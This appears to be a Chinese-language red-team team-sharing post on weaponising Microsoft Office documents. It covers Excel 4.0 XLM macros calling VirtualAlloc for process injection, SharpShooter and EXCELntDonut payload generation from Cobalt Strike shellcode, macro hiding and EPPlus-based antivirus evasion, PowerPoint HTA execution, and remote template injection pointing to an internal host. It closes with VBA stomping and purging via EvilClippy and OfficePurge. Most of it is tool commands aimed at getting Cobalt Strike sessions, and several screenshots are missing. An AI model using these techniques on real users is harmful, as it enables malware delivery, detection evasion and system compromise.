禁止平庸!!!!
在团队内的分享,记录一下
一、XLM Macro(Excel 4.0)
与一般的office文档不同的是,其格式为XLM,不同于其他的XML,XLM被创建于1992年,比VBA还要早出很多。
demo:
这项技术在2018年,在这个文章中被指出:https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
由此也衍生出了很多的相关项目,比如(Excel4-DCOM:https://github.com/outflanknl/Excel4-DCOM):
1 | Invoke-Excel4DCOM -ComputerName server01 -Payload C:\temp\payload.bin |
其也是依靠XLM的来调用win32API来实现远程线程注入:
SharpShooter:https://github.com/mdsecactivebreach/SharpShooter 利用该工具创建XLS Macro的方法如下:
1 | SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee |
生成的SLK文件如下:
原理基本类似。不过这种都是基于X86的,X64有一些问题,有一篇文章(https://www.cybereason.com/blog/excel4.0-macros-now-with-twice-the-bits) 介绍了该问题。
最后衍生的工具:https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
当然还有很多相关的工具(Macrome:https://github.com/michaelweber/Macrome、EXCELntDonut:https://github.com/FortyNorthSecurity/EXCELntDonut) 等等。
进程注入
在XLS中支持win32的调用,也就意味着我们可以进行进程注入等操作。调用方式如下:
1 | REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category) |
需要注意的是,区分x86与x64,x86的demo如下:
1 | =REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9) |
x64demo如下:
1 | =REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9) |
这里方便起见直接使用EXCELntDonut来生成。使用Cs生成shellcode,然后替换到指定位置:
然后运行:
1 | EXCELntDonut -f exe_source.cs -r System.Windows.Forms.dll |
然后将数据插入,并处理
然后执行即可。可惜测试时一直失败。
Evasion
效果相等:
宏隐藏
即改成02
此时已无法显示隐藏:
EPPLUS:EPPlus 5-Excel spreadsheets for .NET
EPPLUS是一个用来生成Excel的.net库。https://github.com/EPPlusSoftware/EPPlus
利用该程序可以更改的免杀excel,demo:https://github.com/FortyNorthSecurity/hot-manchego
用法:
1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs |
执行宏,获取Cs会话。
二、powerpoint
这种攻击则利用的是鼠标轨迹来进行操作,比如鼠标点击、鼠标移动等。操作如下:
插入Cs生成的hta文件。点击时,
Cs上线。
三,远程加载文档
每一个文档都是一个zip文件,解压,编辑
修改为:
1 | <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.1.106/1.dotm" TargetMode="External"/> |
此时打开文档,运行宏即可上线。
四,控件
直接上代码:
1 | Sub Main() |
没啥好手的就是利用控件去执行指定的程序。
五,VBA Stomping
直译过来就是VBA重踏。怎么去理解这个东西呢,比如说我们创建一个基础的VBA代码:
当我们解压该文档,并将其使用0填充时,依旧可以去执行,就行下面这样:
改为:
此时仍然可以使用。
武器化:https://github.com/outflanknl/EvilClippy
编译命令:
1 | csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe *.cs |
使用:
1 | EvilClippy.exe -s fakecode.vba macrofile.doc |
六,VBA Purging
武器化:https://github.com/fireeye/OfficePurge
1 | OfficePurge.exe -d word -f .\malicious.doc -m NewMacros |